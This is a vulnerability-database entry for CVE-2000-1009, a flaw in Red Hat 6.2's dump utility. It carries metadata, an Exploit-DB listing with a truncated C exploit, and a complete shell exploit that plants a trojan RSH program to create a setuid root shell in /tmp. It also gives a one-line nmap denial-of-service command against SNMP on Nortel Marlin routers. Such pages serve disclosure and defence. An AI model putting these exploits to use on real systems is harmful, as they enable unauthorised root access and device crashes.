CVE-2000-1009
published 2000-12-11CVE-2000-1009: dump in Red Hat Linux 6.2 trusts the pathname specified by the RSH environmental variable, which allows local users to obtain root privileges by modifying the…
PriorityP421high7.2CVSS 2.0
AVLACLAuNCCICAC
EXPLOIT
EPSS
1.15%
63.2th percentile
dump in Red Hat Linux 6.2 trusts the pathname specified by the RSH environmental variable, which allows local users to obtain root privileges by modifying the RSH variable to point to a Trojan horse program.
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| redhat | linux | — | — |
| trustix | secure_linux | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
dump 0.4b15 (RedHat 6.2) - Local Privilege Escalation
exploitdb·2000-11-29
CVE-2000-1009 dump 0.4b15 (RedHat 6.2) - Local Privilege Escalation
dump 0.4b15 (RedHat 6.2) - Local Privilege Escalation
---
/*
**
** dump-0.4b15x.c
**
** dump-0.4b15 exploit:
** Redhat 6.2 dump command executes
** external program with suid priviledge.
**
** affected:
** /sbin/dump
** /sbin/dump.static
** /sbin/restore
** /sbin/restore.static
**
** Bug found by [email protected]
**
** This example was coded by [email protected]
** It was written for EDUCATIONAL PURPOSES ONLY.
**
**
*/
#include
#include
#include
#include
#include
#include
#include
#define RUNME "/tmp/runme" /* tmp file */
#define SUID_PATH "/tmp/superdude" /* the power of root */
void usage(char *pname)
{
fprintf(stdout, "\nUsage: %s \n\n", pname);
fprintf(stdout, " d - exploit /sbin/dump\n");
fprintf(stdout, " s - exploit /sbin/dump.static\n");
fprintf(stdout, " r - exploi
Exploit-DB
dump 0.4b15 - Local Privilege Escalation
exploitdb·2000-11-19
CVE-2000-1009 dump 0.4b15 - Local Privilege Escalation
dump 0.4b15 - Local Privilege Escalation
---
#!/bin/sh
# Redhat 6.2 dump command executes external program
# with suid priviledge.
# Discovered by Mat
# Written for and by a scriptkid Tasc ;P
# Remember, there's no cure for BSE
echo "dump-0.4b15 root exploit"
echo "Discovered by Mat "
echo "-------------------------------------"
echo
DUMP=/sbin/dump
if [ ! -u $DUMP ]; then
echo "$DUMP is NOT setuid on this system or does not exist at all!"
echo
exit 0
fi
export TAPE=iamlame:iamlame
export RSH=/tmp/rsh
cat >/tmp/rsh <<__eof__
#!/bin/sh
cp /bin/sh /tmp/sush
chmod 4755 /tmp/sush
}
__eof__
chmod 755 /tmp/rsh
/sbin/dump -0 /
echo
echo "Waiting for rootshell .... 5 seconds...."
sleep 5
/tmp/sush
id
# milw0rm.com [2000-11-19]
Exploit-DB
Nortel Networks Nautica Marlin - Denial of Service
exploitdb·2000-02-25
CVE-2000-0221 Nortel Networks Nautica Marlin - Denial of Service
Nortel Networks Nautica Marlin - Denial of Service
---
source: https://www.securityfocus.com/bid/1009/info
A vulnerability exists in the Nortel/Bay Networks Nautica Marlin router pruduct. Sending a 0 byte UDP packet to port 161 (SNMP) to one of these routers will cause it to crash. This attack can be trivially performed using NMAP or other UDP port scanner.
nmap -sU -p 161 hosttodos
No writeups or analysis indexed.
http://archives.neohapsis.com/archives/bugtraq/2000-10/0438.htmlhttp://www.securityfocus.com/bid/1871https://exchange.xforce.ibmcloud.com/vulnerabilities/5437http://archives.neohapsis.com/archives/bugtraq/2000-10/0438.htmlhttp://www.securityfocus.com/bid/1871https://exchange.xforce.ibmcloud.com/vulnerabilities/5437
2000-12-11
Published